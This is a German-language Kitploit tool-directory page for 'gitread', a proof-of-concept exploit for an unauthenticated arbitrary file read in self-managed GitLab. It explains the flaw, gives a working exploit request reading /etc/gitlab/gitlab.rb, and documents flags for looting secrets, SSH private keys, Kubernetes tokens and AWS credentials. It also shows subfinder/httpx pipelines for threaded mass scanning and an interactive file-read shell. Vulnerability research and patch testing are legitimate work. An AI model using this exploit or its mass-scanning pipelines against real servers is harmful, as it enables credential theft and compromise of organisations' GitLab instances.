Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/plur1bu5/gitread
AufklärungSchwachstellenanalyseExploitationScripting & AutomatisierungWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffungWebsicherheitPenetrationstestsRed Teaming
GitHub
126vor 21 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
plur1bu5/gitread

gitread

CVE-2026-85706 · GitLab CE/EE unauthentifizierter Dateizugriff · Research-PoC mit Oracle-Modus, fd-Enumeration und gestaffeltem Loot-Targeting

Repository anzeigen
Teilen

gitread

PoC für CVE-2026-85706, ein unauthentifizierter beliebiger Datei-Lesezugriff, der selbstverwaltete GitLab CE/EE betrifft.

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Betroffen18.7 bis 19.1.7, 19.2.0 bis 19.2.5, 19.3.0 bis 19.3.1
Behoben19.1.8 / 19.2.6 / 19.3.2 (veröffentlicht am 2026-09-10)
KomponenteRepository Commits API / Files API (Workhorse body-upload)
Melders3ntago via GitLab HackerOne

Funktionsweise

Drei Repository-API-Endpunkte liegen hinter dem requestBodyUploader von Workhorse:

POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

Der Rails-Handler ruft File.open(params['file.path']) vor authenticate! auf. Vier Bedingungen machen dies ausnutzbar:

1. Die Authentifizierung erfolgt nach dem Dateilesen. require_gitlab_workhorse! prüft nur den JWT-Header Gitlab-Workhorse-Api-Request. Workhorse versieht jede Anfrage, die es weiterleitet, mit diesem Header, einschließlich einfacher Passthroughs. Das eigentliche authenticate! befindet sich in authorize_push_to_branch!, das ausgeführt wird, nachdem file_params_from_body_upload die Datei bereits von der Festplatte gelesen hat.

2. file.path stammt direkt aus der Anfrage. file_params_from_body_upload liest params['file.path'] als absoluten Pfad ohne Validierung. Im vorgesehenen Ablauf schreibt Workhorse den Upload in eine temporäre Datei und fügt diesen Parameter selbst ein. Ein Angreifer sendet ihn einfach direkt als Query-String-Parameter, der auf eine beliebige Stelle im Dateisystem zeigt.

3. Das Routen-Matching von Workhorse dekodiert niemals die Prozentkodierung. Workhorse gleicht Upload-Routen mit EscapedPath() ab, den rohen URL-Bytes wie empfangen. Puma dekodiert %XX-Sequenzen, bevor es an Grape weiterleitet. Wenn man also ein Zeichen in einem statischen Segment kodiert, überspringt Workhorse seine Rewrite-Regel, während Rails weiterhin an den verwundbaren Handler weiterleitet:

POST /api/v4/projects/1/repository/commits/      (abschließender Schrägstrich)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (Grape-Format-Suffix)

4. Rack gibt den Dateiinhalt in der Fehlerantwort zurück. Mit Content-Type: application/x-www-form-urlencoded wird der Dateiinhalt an Rack::Utils.parse_nested_query übergeben. Jedes einzelne %, dem nicht zwei Hexadezimalziffern folgen, löst InvalidParameterError: invalid %-encoding (<content>) aus. Alles bis zum ersten & in der Datei wird im 400-Body zurückgegeben.

Dateien ohne einzelnes % werden trotzdem vor der Authentifizierung gelesen. Die 401-Antwort des urlencoded-Zweigs und eine 500 des multipart-Zweigs bestätigen beide, dass die Datei existiert und für den git-Benutzer lesbar ist, was sie als Existenz-Orakel nützlich macht.

Exploit-Anfrage:

POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

Funktionen

  • --file liest eine beliebige einzelne Datei; fällt automatisch auf das Orakel zurück, wenn es keinen Echo-Trigger gibt
  • --loot führt 36 Ziele über 7 Stufen aus, geordnet nach bestätigter Echo-Trigger-Wahrscheinlichkeit
  • --oracle führt eine Dual-Branch-Sonde (urlencoded + multipart) gegen Dateien ohne Echo aus und teilt mit, ob jede einzelne lesbar, fehlend oder nicht lesbar ist
  • --proc zählt /proc/self/fd/0-31 auf, um offene Dateideskriptoren zu finden, und liest dann standardmäßige /proc-Recon-Ziele
  • --shell öffnet eine interaktive Datei-Lese-Shell mit den Befehlen cat, loot, oracle, project und curl
  • --pipe liest Ziele von stdin und verarbeitet subfinder-Ausgabe, httpx-Text, httpx-JSON, nuclei-JSON und rohe Host-Zeilen
  • --list nimmt eine Datei mit Zielen entgegen, eines pro Zeile
  • --threads für gleichzeitiges Massen-Scanning
  • --proxy leitet alles über Burp oder mitmproxy
  • --raw schreibt rohe Bytes nach stdout ohne Dekoration, nützlich zum Weiterleiten in eine Datei
  • --full führt loot, oracle und proc in einem Durchgang aus
  • JSON- und JSONL-Berichtsausgabe über -o
  • GitLab-Versions-Fingerprinting mit Prüfung des betroffenen Bereichs
  • Farbunterstützung für Windows-Terminals

Installation

pip install requests
python3 gitread.py -h

Erfordert Python 3.10 oder neuer. Keine weiteren Abhängigkeiten.

Verwendung

Einzelnes Ziel

python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

Pipeline

subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdin wird automatisch erkannt, wenn es kein TTY ist, daher ist --pipe in den meisten Fällen optional.

Shell

gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

Antwort-Bewertungen

BewertungBedeutung
leakDateiinhalt im 400-Body zurückgegeben, Lesen bestätigt
leak-fragTeilweises Echo über Parameter-Typfehler
read-noechoDatei wurde vor der Authentifizierung gelesen, enthält aber kein einzelnes %, daher kein Echo
READABLEMultipart-Zweig gab 500 zurück, Datei existiert und ist für den git-Benutzer lesbar
missingServer meldete, dass die lokale Datei nicht vorhanden ist
rewriteWorkhorse hat den Body umgeschrieben, diese Bypass-Form ist tot
norouteRails 404, Instanz ist gepatcht oder der Pfad ist falsch
server-error500, Datei existiert, verursachte aber einen Parse-Fehler

Loot-Stufen

StufeDateienEcho
1gitlab.rb, gitlab.yml, redis.confInhalt leakt direkt
2gitlab-secrets.json, secrets.yml, database.ymlNur Orakel, reines Hex
3.gitlab_workhorse_secretNur Orakel
4SSH-Private-Keys und authorized_keysNur Orakel
5gitlab-shell.yml, gitaly.toml, PostgreSQL-KonfigurationNur Orakel
6Kubernetes-Service-Account-Token, AWS-CredentialsNur Orakel
7Hostname, hosts, passwd, os-release, environNur Orakel

Flags

Tool herunterladen